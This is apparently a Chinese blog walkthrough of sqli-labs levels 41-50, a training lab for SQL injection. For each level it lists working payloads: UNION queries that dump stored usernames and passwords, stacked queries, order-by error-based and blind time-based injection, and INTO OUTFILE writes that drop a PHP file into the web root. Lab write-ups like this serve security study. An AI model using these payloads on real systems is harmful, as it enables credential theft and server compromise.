sqli-labs闯关之41-50关

第四十一关

这关和第三十九关一样,只是错误没有回显

获得版本和数据库名   ?id=0 union select 1,version(),database() %23

获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

sqli-labs闯关之41-50关_第1张图片

 

 

也是可以堆叠注入的,堆叠注入语句   ?id=1;create table test41 like users;%23

第四十二关

 

熟悉的界面

sqli-labs闯关之41-50关_第2张图片

 

 

 本来想注册,但是好像不能

sqli-labs闯关之41-50关_第3张图片

我们来看看源码 我们看见login的页面未对 password进行任何的过滤

sqli-labs闯关之41-50关_第4张图片

 

 

这一关因为user设置了过滤函数mysqli_real_escape_string()
所以我们在密码处构造

login_user=1&login_password=giao';create table less42 like users#&mysubmit=Login 

 

sqli-labs闯关之41-50关_第5张图片

 

 

 输入后会显示错误,但是我们的数据库中还是有的sqli-labs闯关之41-50关_第6张图片

 

 

 看看数据库,发现我们已经创建进去了

sqli-labs闯关之41-50关_第7张图片

 

 

 

第四十三关

这关和四十二很像,就加个括号就可以啦

login_user=1&login_password=giao');create table less43 like users#&mysubmit=Login

sqli-labs闯关之41-50关_第8张图片

虽然还是显示失败

sqli-labs闯关之41-50关_第9张图片

 

但是数据库有了 

sqli-labs闯关之41-50关_第10张图片

 

 

第四十四关

和第四十二关一样,只不过没有回显信息

login_user=1&login_password=giao';create table less44 like users#&mysubmit=Login

sqli-labs闯关之41-50关_第11张图片

 

 查看数据库

sqli-labs闯关之41-50关_第12张图片

 

 

第四十五关

和第四十三关一样,区别是没有回显

login_user=1&login_password=giao');create table less45 like users#&mysubmit=Login

sqli-labs闯关之41-50关_第13张图片

 

 查看数据库

sqli-labs闯关之41-50关_第14张图片

 

 

第四十六关

到了order by注入 来看看哈,和之前的不一样啦,之前都是id,现在变成sort了,

sqli-labs闯关之41-50关_第15张图片

 

 ?sort=1试一下,一下子用户名密码全出了了,

sqli-labs闯关之41-50关_第16张图片

既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

为什么说他是order  by注入  因为在源代码中是这样的   $sql = "SELECT * FROM users ORDER BY $id";

http://192.168.43.117/sqli-labs-master/Less-46/?sort=1+asc   (正序)

http://192.168.43.117/sqli-labs-master/Less-46/?sort=1+desc    (倒序)

sqli-labs闯关之41-50关_第17张图片

 

 

首先想想我们应该怎样注入 ,我们来获取一下,版本数据库名啥的

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试      

没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入

?sort=right(version(),1)     ?sort=left(version(),1) 效果是一样的

sqli-labs闯关之41-50关_第18张图片

此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

①直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。所以我们用rand来检查我们后面输入的是否对

sqli-labs闯关之41-50关_第19张图片

 

 sqli-labs闯关之41-50关_第20张图片

③利用and,例如?sort=1 and (加sql语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入

获取数据库名    ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

sqli-labs闯关之41-50关_第21张图片

 

 

获取数据库的权限

?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

sqli-labs闯关之41-50关_第22张图片

 

 

布尔盲注 

盲注获取数据库第一个字的ascii码(其他的不再演示了)

sqli-labs闯关之41-50关_第23张图片

 

 

正则表达式注入 ?sort=1 ^(select(select version()) regexp '^5')发现版本

sqli-labs闯关之41-50关_第24张图片

 

 

时间盲注

测试能不能时间注入?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))

发现数据库的第一关字母?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(3))

sqli-labs闯关之41-50关_第25张图片

 

发现这关还可以outfile进行写

?sort=1 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\giao.php'

sqli-labs闯关之41-50关_第26张图片

 

发现已经有了文件夹下已经有了

sqli-labs闯关之41-50关_第27张图片

 

 语句是将密码写入到,giao.php文件中,去看下

sqli-labs闯关之41-50关_第28张图片

 

 

第四十七关

和上一关一样,加个单引号就可以啦

获取数据库使用权限

?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

sqli-labs闯关之41-50关_第29张图片

 

获得数据库版本          

?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

sqli-labs闯关之41-50关_第30张图片

 

也可以程序分析参数后注入    

?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

sqli-labs闯关之41-50关_第31张图片

 

 也可以,时间盲注  ?sort=1' and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

sqli-labs闯关之41-50关_第32张图片

 

 

第四十八关

这关是盲注  order by 数字型盲注

布尔盲注   ?sort=rand(ascii(left(database(),1))=178)

sqli-labs闯关之41-50关_第33张图片

 

 也可以时间盲注    ?sort=1  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

sqli-labs闯关之41-50关_第34张图片

 

 

第四十九关

这关是盲注   order by 字符型盲注,和四十六关一样,只不过没有错误回显

sqli-labs闯关之41-50关_第35张图片

还可以在四十八关的基础上加上引号就行    

?sort=1'  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

sqli-labs闯关之41-50关_第36张图片

 

这关也可以outfile进行写      

?sort=1' into outfile 'C:\\phpstudy\\WWW\\sqli-labs-master\\Less-49\\giao.php' lines terminated  by 0x3c3f70687020706870696e666f28293b3f3e2020--+

sqli-labs闯关之41-50关_第37张图片

 

 查看下sqli-labs闯关之41-50关_第38张图片

 

 

第五十关

这关我们就用堆叠注入  ?sort=1;create table test50 like users;%23

sqli-labs闯关之41-50关_第39张图片

 

去数据库看看

sqli-labs闯关之41-50关_第40张图片

 

 

结束

你可能感兴趣的:(sqli-labs闯关之41-50关)